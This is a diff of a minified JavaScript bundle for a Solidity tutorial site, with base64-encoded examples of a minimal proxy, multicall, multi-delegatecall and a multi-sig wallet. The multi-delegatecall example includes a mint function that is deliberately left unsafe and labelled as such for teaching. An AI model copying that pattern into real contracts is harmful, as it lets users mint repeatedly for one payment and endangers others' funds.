contract",lu="https://www.cyfrin.io/glossary/minimal-proxy-contract-solidity-code-example",pu=[{fileName:"MinimalProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIG9yaWdpbmFsIGNvZGUKLy8gaHR0cHM6Ly9naXRodWIuY29tL29wdGlvbmFsaXR5L2Nsb25lLWZhY3RvcnkvYmxvYi9tYXN0ZXIvY29udHJhY3RzL0Nsb25lRmFjdG9yeS5zb2wKCmNvbnRyYWN0IE1pbmltYWxQcm94eSB7CiAgICBmdW5jdGlvbiBjbG9uZShhZGRyZXNzIHRhcmdldCkgZXh0ZXJuYWwgcmV0dXJucyAoYWRkcmVzcyByZXN1bHQpIHsKICAgICAgICAvLyBjb252ZXJ0IGFkZHJlc3MgdG8gMjAgYnl0ZXMKICAgICAgICBieXRlczIwIHRhcmdldEJ5dGVzID0gYnl0ZXMyMCh0YXJnZXQpOwoKICAgICAgICAvLyBhY3R1YWwgY29kZSAvLwogICAgICAgIC8vIDNkNjAyZDgwNjAwYTNkMzk4MWYzMzYzZDNkMzczZDNkM2QzNjNkNzNiZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlNWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzCgogICAgICAgIC8vIGNyZWF0aW9uIGNvZGUgLy8KICAgICAgICAvLyBjb3B5IHJ1bnRpbWUgY29kZSBpbnRvIG1lbW9yeSBhbmQgcmV0dXJuIGl0CiAgICAgICAgLy8gM2Q2MDJkODA2MDBhM2QzOTgxZjMKCiAgICAgICAgLy8gcnVudGltZSBjb2RlIC8vCiAgICAgICAgLy8gY29kZSB0byBkZWxlZ2F0ZWNhbGwgdG8gYWRkcmVzcwogICAgICAgIC8vIDM2M2QzZDM3M2QzZDNkMzYzZDczIGFkZHJlc3MgNWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzCgogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLyoKICAgICAgICAgICAgcmVhZHMgdGhlIDMyIGJ5dGVzIG9mIG1lbW9yeSBzdGFydGluZyBhdCBwb2ludGVyIHN0b3JlZCBpbiAweDQwCgogICAgICAgICAgICBJbiBzb2xpZGl0eSwgdGhlIDB4NDAgc2xvdCBpbiBtZW1vcnkgaXMgc3BlY2lhbDogaXQgY29udGFpbnMgdGhlICJmcmVlIG1lbW9yeSBwb2ludGVyIgogICAgICAgICAgICB3aGljaCBwb2ludHMgdG8gdGhlIGVuZCBvZiB0aGUgY3VycmVudGx5IGFsbG9jYXRlZCBtZW1vcnkuCiAgICAgICAgICAgICovCiAgICAgICAgICAgIGxldCBjbG9uZSA6PSBtbG9hZCgweDQwKQogICAgICAgICAgICAvLyBzdG9yZSAzMiBieXRlcyB0byBtZW1vcnkgc3RhcnRpbmcgYXQgImNsb25lIgogICAgICAgICAgICBtc3RvcmUoCiAgICAgICAgICAgICAgICBjbG9uZSwKICAgICAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3MzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgMHgzZDYwMmQ4MDYwMGEzZDM5ODFmMzM2M2QzZDM3M2QzZDNkMzYzZDczMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcG9pbnRlcgogICAgICAgICAgICAqLwogICAgICAgICAgICAvLyBzdG9yZSAzMiBieXRlcyB0byBtZW1vcnkgc3RhcnRpbmcgYXQgImNsb25lIiArIDIwIGJ5dGVzCiAgICAgICAgICAgIC8vIDB4MTQgPSAyMAogICAgICAgICAgICBtc3RvcmUoYWRkKGNsb25lLCAweDE0KSwgdGFyZ2V0Qnl0ZXMpCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBvaW50ZXIKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gc3RvcmUgMzIgYnl0ZXMgdG8gbWVtb3J5IHN0YXJ0aW5nIGF0ICJjbG9uZSIgKyA0MCBieXRlcwogICAgICAgICAgICAvLyAweDI4ID0gNDAKICAgICAgICAgICAgbXN0b3JlKAogICAgICAgICAgICAgICAgYWRkKGNsb25lLCAweDI4KSwKICAgICAgICAgICAgICAgIDB4NWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8ICAgICAgICAgICAxNSBieXRlcyAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmU1YWY0M2Q4MjgwM2U5MDNkOTE2MDJiNTdmZDViZjMKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gY3JlYXRlIG5ldyBjb250cmFjdAogICAgICAgICAgICAvLyBzZW5kIDAgRXRoZXIKICAgICAgICAgICAgLy8gY29kZSBzdGFydHMgYXQgcG9pbnRlciBzdG9yZWQgaW4gImNsb25lIgogICAgICAgICAgICAvLyBjb2RlIHNpemUgMHgzNyAoNTUgYnl0ZXMpCiAgICAgICAgICAgIHJlc3VsdCA6PSBjcmVhdGUoMCwgY2xvbmUsIDB4MzcpCiAgICAgICAgfQogICAgfQp9Cg=="}],eu=`

            If you have a contract that will be deployed multiple times, use minimal proxy contract to deploy them cheaply.

            // SPDX-License-Identifier: MIT
             pragma solidity ^0.8.26;
             
            @@ -2457,7 +2457,7 @@ How to swap tokens
                     }
                 }
             }
            -
            `,eu=({prev:s,next:a})=>r.jsx(A,{version:qA,title:su,description:au,cyfrinLink:nu,html:pu,prev:s,next:a,codes:lu}),cu="0.8.26",tu="Multi Call",ou="An example of contract to aggregate multiple calls.",ru="https://www.cyfrin.io/glossary/multi-call-solidity-code-example",iu=[{fileName:"MultiCall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IE11bHRpQ2FsbCB7CiAgICBmdW5jdGlvbiBtdWx0aUNhbGwoYWRkcmVzc1tdIGNhbGxkYXRhIHRhcmdldHMsIGJ5dGVzW10gY2FsbGRhdGEgZGF0YSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChieXRlc1tdIG1lbW9yeSkKICAgIHsKICAgICAgICByZXF1aXJlKHRhcmdldHMubGVuZ3RoID09IGRhdGEubGVuZ3RoLCAidGFyZ2V0IGxlbmd0aCAhPSBkYXRhIGxlbmd0aCIpOwoKICAgICAgICBieXRlc1tdIG1lbW9yeSByZXN1bHRzID0gbmV3IGJ5dGVzW10oZGF0YS5sZW5ndGgpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaTsgaSA8IHRhcmdldHMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJlc3VsdCkgPSB0YXJnZXRzW2ldLnN0YXRpY2NhbGwoZGF0YVtpXSk7CiAgICAgICAgICAgIHJlcXVpcmUoc3VjY2VzcywgImNhbGwgZmFpbGVkIik7CiAgICAgICAgICAgIHJlc3VsdHNbaV0gPSByZXN1bHQ7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gcmVzdWx0czsKICAgIH0KfQo="},{fileName:"TestMultiCall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFRlc3RNdWx0aUNhbGwgewogICAgZnVuY3Rpb24gdGVzdCh1aW50MjU2IF9pKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4gX2k7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0RGF0YSh1aW50MjU2IF9pKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKHRoaXMudGVzdC5zZWxlY3RvciwgX2kpOwogICAgfQp9Cg=="}],gu=`

            An example of contract that aggregates multiple queries using a for loop and staticcall.

            +`,cu=({prev:s,next:a})=>r.jsx(A,{version:su,title:au,description:nu,cyfrinLink:lu,html:eu,prev:s,next:a,codes:pu}),tu="0.8.26",ou="Multi Call",ru="An example of contract to aggregate multiple calls.",iu="https://www.cyfrin.io/glossary/multi-call-solidity-code-example",gu=[{fileName:"MultiCall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IE11bHRpQ2FsbCB7CiAgICBmdW5jdGlvbiBtdWx0aUNhbGwoYWRkcmVzc1tdIGNhbGxkYXRhIHRhcmdldHMsIGJ5dGVzW10gY2FsbGRhdGEgZGF0YSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChieXRlc1tdIG1lbW9yeSkKICAgIHsKICAgICAgICByZXF1aXJlKHRhcmdldHMubGVuZ3RoID09IGRhdGEubGVuZ3RoLCAidGFyZ2V0IGxlbmd0aCAhPSBkYXRhIGxlbmd0aCIpOwoKICAgICAgICBieXRlc1tdIG1lbW9yeSByZXN1bHRzID0gbmV3IGJ5dGVzW10oZGF0YS5sZW5ndGgpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaTsgaSA8IHRhcmdldHMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJlc3VsdCkgPSB0YXJnZXRzW2ldLnN0YXRpY2NhbGwoZGF0YVtpXSk7CiAgICAgICAgICAgIHJlcXVpcmUoc3VjY2VzcywgImNhbGwgZmFpbGVkIik7CiAgICAgICAgICAgIHJlc3VsdHNbaV0gPSByZXN1bHQ7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gcmVzdWx0czsKICAgIH0KfQo="},{fileName:"TestMultiCall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFRlc3RNdWx0aUNhbGwgewogICAgZnVuY3Rpb24gdGVzdCh1aW50MjU2IF9pKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4gX2k7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0RGF0YSh1aW50MjU2IF9pKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKHRoaXMudGVzdC5zZWxlY3RvciwgX2kpOwogICAgfQp9Cg=="}],hu=`

            An example of contract that aggregates multiple queries using a for loop and staticcall.

            // SPDX-License-Identifier: MIT
             pragma solidity ^0.8.26;
             
            @@ -2493,7 +2493,7 @@ How to swap tokens
                     return abi.encodeWithSelector(this.test.selector, _i);
                 }
             }
            -
            `,hu=({prev:s,next:a})=>r.jsx(A,{version:cu,title:tu,description:ou,cyfrinLink:ru,html:gu,prev:s,next:a,codes:iu}),Iu="0.8.26",du="Multi Delegatecall",Cu="An example of contract to call multiple functions in a single transaction",ju="https://www.cyfrin.io/glossary/multi-delegatecall-solidity-code-example",Au=[{fileName:"MultiDelegatecall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IE11bHRpRGVsZWdhdGVjYWxsIHsKICAgIGVycm9yIERlbGVnYXRlY2FsbEZhaWxlZCgpOwoKICAgIGZ1bmN0aW9uIG11bHRpRGVsZWdhdGVjYWxsKGJ5dGVzW10gbWVtb3J5IGRhdGEpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwYXlhYmxlCiAgICAgICAgcmV0dXJucyAoYnl0ZXNbXSBtZW1vcnkgcmVzdWx0cykKICAgIHsKICAgICAgICByZXN1bHRzID0gbmV3IGJ5dGVzW10oZGF0YS5sZW5ndGgpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaTsgaSA8IGRhdGEubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgKGJvb2wgb2ssIGJ5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Ly8gV0FSTklORzogdW5zYWZlIGNvZGUgd2hlbiB1c2VkIGluIGNvbWJpbmF0aW9uIHdpdGggbXVsdGktZGVsZWdhdGVjYWxsCiAgICAvLyB1c2VyIGNhbiBtaW50IG11bHRpcGxlIHRpbWVzIGZvciB0aGUgcHJpY2Ugb2YgbXNnLnZhbHVlCiAgICBmdW5jdGlvbiBtaW50KCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdICs9IG1zZy52YWx1ZTsKICAgIH0KfQoKY29udHJhY3QgSGVscGVyIHsKICAgIGZ1bmN0aW9uIGdldEZ1bmMxRGF0YSh1aW50MjU2IHgsIHVpbnQyNTYgeSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlcyBtZW1vcnkpCiAgICB7CiAgICAgICAgcmV0dXJuCiAgICAgICAgICAgIGFiaS5lbmNvZGVXaXRoU2VsZWN0b3IoVGVzdE11bHRpRGVsZWdhdGVjYWxsLmZ1bmMxLnNlbGVjdG9yLCB4LCB5KTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRGdW5jMkRhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKFRlc3RNdWx0aURlbGVnYXRlY2FsbC5mdW5jMi5zZWxlY3Rvcik7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TWludERhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKFRlc3RNdWx0aURlbGVnYXRlY2FsbC5taW50LnNlbGVjdG9yKTsKICAgIH0KfQo="}],uu=`

            An example of calling multiple functions with a single transaction, using delegatecall.

            +`,Iu=({prev:s,next:a})=>r.jsx(A,{version:tu,title:ou,description:ru,cyfrinLink:iu,html:hu,prev:s,next:a,codes:gu}),du="0.8.26",Cu="Multi Delegatecall",ju="An example of contract to call multiple functions in a single transaction",Au="https://www.cyfrin.io/glossary/multi-delegatecall-solidity-code-example",uu=[{fileName:"MultiDelegatecall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IE11bHRpRGVsZWdhdGVjYWxsIHsKICAgIGVycm9yIERlbGVnYXRlY2FsbEZhaWxlZCgpOwoKICAgIGZ1bmN0aW9uIG11bHRpRGVsZWdhdGVjYWxsKGJ5dGVzW10gbWVtb3J5IGRhdGEpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwYXlhYmxlCiAgICAgICAgcmV0dXJucyAoYnl0ZXNbXSBtZW1vcnkgcmVzdWx0cykKICAgIHsKICAgICAgICByZXN1bHRzID0gbmV3IGJ5dGVzW10oZGF0YS5sZW5ndGgpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaTsgaSA8IGRhdGEubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgKGJvb2wgb2ssIGJ5dGVzIG1lbW9yeSByZXMpID0gYWRkcmVzcyh0aGlzKS5kZWxlZ2F0ZWNhbGwoZGF0YVtpXSk7CiAgICAgICAgICAgIGlmICghb2spIHsKICAgICAgICAgICAgICAgIHJldmVydCBEZWxlZ2F0ZWNhbGxGYWlsZWQoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXN1bHRzW2ldID0gcmVzOwogICAgICAgIH0KICAgIH0KfQoKLy8gV2h5IHVzZSBtdWx0aSBkZWxlZ2F0ZWNhbGw/IFdoeSBub3QgbXVsdGkgY2FsbD8KLy8gYWxpY2UgLT4gbXVsdGkgY2FsbCAtLS0gY2FsbCAtLS0+IHRlc3QgKG1zZy5zZW5kZXIgPSBtdWx0aSBjYWxsKQovLyBhbGljZSAtPiB0ZXN0IC0tLSBkZWxlZ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XR1cm5zIChieXRlcyBtZW1vcnkpCiAgICB7CiAgICAgICAgcmV0dXJuCiAgICAgICAgICAgIGFiaS5lbmNvZGVXaXRoU2VsZWN0b3IoVGVzdE11bHRpRGVsZWdhdGVjYWxsLmZ1bmMxLnNlbGVjdG9yLCB4LCB5KTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRGdW5jMkRhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKFRlc3RNdWx0aURlbGVnYXRlY2FsbC5mdW5jMi5zZWxlY3Rvcik7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TWludERhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKFRlc3RNdWx0aURlbGVnYXRlY2FsbC5taW50LnNlbGVjdG9yKTsKICAgIH0KfQo="}],yu=`

            An example of calling multiple functions with a single transaction, using delegatecall.

            // SPDX-License-Identifier: MIT
             pragma solidity ^0.8.26;
             
            @@ -2561,7 +2561,7 @@ How to swap tokens
                     return abi.encodeWithSelector(TestMultiDelegatecall.mint.selector);
                 }
             }
            -
            `,yu=({prev:s,next:a})=>r.jsx(A,{version:Iu,title:du,description:Cu,cyfrinLink:ju,html:uu,prev:s,next:a,codes:Au}),mu="0.8.26",bu="Multi-Sig Wallet",wu="An example of multi-sig wallet in Solidity",ku="https://www.cyfrin.io/glossary/multisig-wallet-solidity-code-example",Zu=[{fileName:"MultiSigWallet.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IE11bHRpU2lnV2FsbGV0IHsKICAgIGV2ZW50IERlcG9zaXQoYWRkcmVzcyBpbmRleGVkIHNlbmRlciwgdWludDI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hY3Rpb25bXSBwdWJsaWMgdHJhbnNhY3Rpb25zOwoKICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICByZXF1aXJlKGlzT3duZXJbbXNnLnNlbmRlcl0sICJub3Qgb3duZXIiKTsKICAgICAgICBfOwogICAgfQoKICAgIG1vZGlmaWVyIHR4RXhpc3RzKHVpbnQyNTYgX3R4SW5kZXgpIHsKICAgICAgICByZXF1aXJlKF90eEluZGV4IDwgdHJhbnNhY3Rpb25zLmxlbmd0aCwgInR4IGRvZXMgbm90IGV4aXN0Iik7CiAgICAgICAgXzsKICAgIH0KCiAgICBtb2RpZmllciBub3RFeGVjdXRlZCh1aW50MjU2IF90eEluZGV4KSB7CiAgICAgICAgcmVxdWlyZSghdHJhbnNhY3Rpb25zW190eEluZGV4XS5leGVjdXRlZCwgInR4IGFscmVhZHkgZXhlY3V0ZWQiKTsKICAgICAgICBfOwogICAgfQoKICAgIG1vZGlmaWVyIG5vdENvbmZpcm1lZCh1aW50MjU2IF90eEluZGV4KSB7CiAgICAgICAgcmVxdWlyZSghaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdLCAidHggYWxyZWFkeSBjb25maXJtZWQiKTsKICAgICAgICBfOwogICAgfQoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3NbXSBtZW1vcnkgX293bmVycywgdWludDI1NiBfbnVtQ29uZmlybWF0aW9uc1JlcXVpcmVkKSB7CiAgICAgICAgcmVxdWlyZShfb3duZXJzLmxlbmd0aCA+IDAsICJvd25lcnMgcmVxdWlyZWQiKTsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBfbnVtQ29uZmlybWF0aW9uc1JlcXVpcmVkID4gMAogICAgICAgICAgICAgICAgJiYgX251bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCA8PSBfb3duZXJzLmxlbmd0aCwKICAgICAgICAgICAgImludmFsaWQgbnVtYmVyIG9mIHJlcXVpcmVkIGNvbmZpcm1hdGlvbnMiCiAgICAgICAgKTsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgX293bmVycy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIG93bmVyID0gX293bmVyc1tpXTsKCiAgICAgICAgICAgIHJlcXVpcmUob3duZXIgIT0gYWRkcmVzcygwKSwgImludmFsaWQgb3duZXIiKTsKICAgICAgICAgICAgcmVxdWlyZSghaXNPd25lcltvd25lcl0sICJvd25lciBub3QgdW5pcXVlIik7CgogICAgICAgICAgICBpc093bmVyW293bmVyXSA9IHRydWU7CiAgICAgICAgICAgIG93bmVycy5wdXNoKG93bmVyKTsKICAgICAgICB9CgogICAgICAgIG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCA9IF9udW1Db25maXJtYXRpb25zUmVxdWlyZWQ7CiAgICB9CgogICAgcmVjZWl2ZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIGVtaXQgRGVwb3NpdChtc2cuc2VuZGVyLCBtc2cudmFsdWUsIGFkZHJlc3ModGhpcykuYmFsYW5jZSk7CiAgICB9CgogICAgZnVuY3Rpb24gc3VibWl0VHJhbnNhY3Rpb24oYWRkcmVzcyBfdG8sIHVpbnQyNTYgX3ZhbHVlLCBieXRlcyBtZW1vcnkgX2RhdGEpCiAgICAgICAgcHVibGljCiAgICAgICAgb25seU93bmVyCiAgICB7CiAgICAgICAgdWludDI1NiB0eEluZGV4ID0gdHJhbnNhY3Rpb25zLmxlbmd0aDsKCiAgICAgICAgdHJhbnNhY3Rpb25zLnB1c2goCiAgICAgICAgICAgIFRyYW5zYWN0aW9uKHsKICAgICAgICAgICAgICAgIHRvOiBfdG8sCiAgICAgICAgICAgICAgICB2YWx1ZTogX3ZhbHVlLAogICAgICAgICAgICAgICAgZGF0YTogX2RhdGEsCiAgICAgICAgICAgICAgICBleGVjdXRlZDogZmFsc2UsCiAgICAgICAgICAgICAgICBudW1Db25maXJtYXRpb25zOiAwCiAgICAgICAgICAgIH0pCiAgICAgICAgKTsKCiAgICAgICAgZW1pdCBTdWJtaXRUcmFuc2FjdGlvbihtc2cuc2VuZGVyLCB0eEluZGV4LCBfdG8sIF92YWx1ZSwgX2RhdGEpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNvbmZpcm1UcmFuc2FjdGlvbih1aW50MjU2IF90eEluZGV4KQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlPd25lcgogICAgICAgIHR4RXhpc3RzKF90eEluZGV4KQogICAgICAgIG5vdEV4ZWN1dGVkKF90eEluZGV4KQogICAgICAgIG5vdENvbmZpcm1lZChfdHhJbmRleCkKICAgIHsKICAgICAgICBUcmFuc2FjdGlvbiBzdG9yYWdlIHRyYW5zYWN0aW9uID0gdHJhbnNhY3Rpb25zW190eEluZGV4XTsKICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zICs9IDE7CiAgICAgICAgaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdID0gdHJ1ZTsKCiAgICAgICAgZW1pdCBDb25maXJtVHJhbnNhY3Rpb24obXNnLnNlbmRlciwgX3R4SW5kZXgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4ZWN1dGVUcmFuc2FjdGlvbih1aW50MjU2IF90eEluZGV4KQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlPd25lcgogICAgICAgIHR4RXhpc3RzKF90eEluZGV4KQogICAgICAgIG5vdEV4ZWN1dGVkKF90eEluZGV4KQogICAgewogICAgICAgIFRyYW5zYWN0aW9uIHN0b3JhZ2UgdHJhbnNhY3Rpb24gPSB0cmFuc2FjdGlvbnNbX3R4SW5kZXhdOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zID49IG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCwKICAgICAgICAgICAgImNhbm5vdCBleGVjdXRlIHR4IgogICAgICAgICk7CgogICAgICAgIHRyYW5zYWN0aW9uLmV4ZWN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0cmFuc2FjdGlvbnMubGVuZ3RoOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldFRyYW5zYWN0aW9uKHVpbnQyNTYgX3R4SW5kZXgpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKAogICAgICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgICAgICB1aW50MjU2IHZhbHVlLAogICAgICAgICAgICBieXRlcyBtZW1vcnkgZGF0YSwKICAgICAgICAgICAgYm9vbCBleGVjdXRlZCwKICAgICAgICAgICAgdWludDI1NiBudW1Db25maXJtYXRpb25zCiAgICAgICAgKQogICAgewogICAgICAgIFRyYW5zYWN0aW9uIHN0b3JhZ2UgdHJhbnNhY3Rpb24gPSB0cmFuc2FjdGlvbnNbX3R4SW5kZXhdOwoKICAgICAgICByZXR1cm4gKAogICAgICAgICAgICB0cmFuc2FjdGlvbi50bywKICAgICAgICAgICAgdHJhbnNhY3Rpb24udmFsdWUsCiAgICAgICAgICAgIHRyYW5zYWN0aW9uLmRhdGEsCiAgICAgICAgICAgIHRyYW5zYWN0aW9uLmV4ZWN1dGVkLAogICAgICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"TestContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFRlc3RDb250cmFjdCB7CiAgICB1aW50MjU2IHB1YmxpYyBpOwoKICAgIGZ1bmN0aW9uIGNhbGxNZSh1aW50MjU2IGopIHB1YmxpYyB7CiAgICAgICAgaSArPSBqOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldERhdGEoKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlcyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoImNhbGxNZSh1aW50MjU2KSIsIDEyMyk7CiAgICB9Cn0K"}],Wu=`

            Let's create an multi-sig wallet. Here are the specifications.

            +`,mu=({prev:s,next:a})=>r.jsx(A,{version:du,title:Cu,description:ju,cyfrinLink:Au,html:yu,prev:s,next:a,codes:uu}),bu="0.8.26",wu="Multi-Sig Wallet",ku="An example of multi-sig wallet in Solidity",Zu="https://www.cyfrin.io/glossary/multisig-wallet-solidity-code-example",Wu=[{fileName:"MultiSigWallet.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IE11bHRpU2lnV2FsbGV0IHsKICAgIGV2ZW50IERlcG9zaXQoYWRkcmVzcyBpbmRleGVkIHNlbmRlciwgdWludDI1NiBhbW91bnQsIHVpbnQyNTYgYmFsYW5jZSk7CiAgICBldmVudCBTdWJtaXRUcmFuc2FjdGlvbigKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsCiAgICAgICAgdWludDI1NiBpbmRleGVkIHR4SW5kZXgsCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIHRvLAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgYnl0ZXMgZGF0YQogICAgKTsKICAgIGV2ZW50IENvbmZpcm1UcmFuc2FjdGlvbihhZGRyZXNzIGluZGV4ZWQgb3du